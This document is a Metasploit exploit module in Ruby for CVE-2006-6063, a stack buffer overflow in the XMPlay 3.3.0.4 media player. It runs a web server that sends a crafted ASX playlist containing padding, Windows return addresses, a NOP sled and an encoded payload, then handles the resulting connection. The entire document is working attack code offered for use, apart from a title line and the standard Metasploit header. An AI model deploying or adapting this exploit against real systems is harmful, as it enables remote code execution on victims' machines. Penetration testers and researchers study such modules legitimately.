XMPlay 3.3.0.4 – ‘.ASX’ Filename Buffer Overflow (Metasploit)
## # $Id: xmplay_asx.rb 9262 2010-05-09 17:45:00Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'XMPlay 3.3.0.4 (ASX Filename) Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in XMPlay 3.3.0.4. The vulnerability is caused due to a boundary error within the parsing of playlists containing an overly long file name. This module uses the ASX file format. }, 'License' => MSF_LICENSE, 'Author' => 'MC', 'Version' => '$Revision: 9262 $', 'References' => [ [ 'CVE', '2006-6063'], [ 'OSVDB', '30537'], [ 'BID', '21206'], [ 'URL', 'http://secunia.com/advisories/22999/' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 750, 'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40", 'EncoderType' => Msf::Encoder::Type::AlphanumUpper, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows 2000 Pro English SP4', { 'Ret' => 0x77e14c29 } ], [ 'Windows XP Pro SP2 English', { 'Ret' => 0x77dc15c0 } ], ], 'Privileged' => false, 'DisclosureDate' => 'Nov 21 2006', 'DefaultTarget' => 0)) end def on_request_uri(cli, request) # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) drv = rand_text_alpha_upper(1) ext = rand_text_alpha_upper(3) sploit = rand_text_alpha_upper(498) + [ target.ret ].pack('V') sploit << make_nops(40) + payload.encoded # Build the stream format content = "<ASX VERSION=\"3\">\r\n" + "<ENTRY>\r\n" content << "<REF HREF=\"file://#{drv}:\\" + sploit content << "." + "#{ext}\"\r\n" + "</ENTRY>\r\n" + "</ASX>\r\n" print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...") # Transmit the response to the client send_response_html(cli, content) # Handle the payload handler(cli) end end |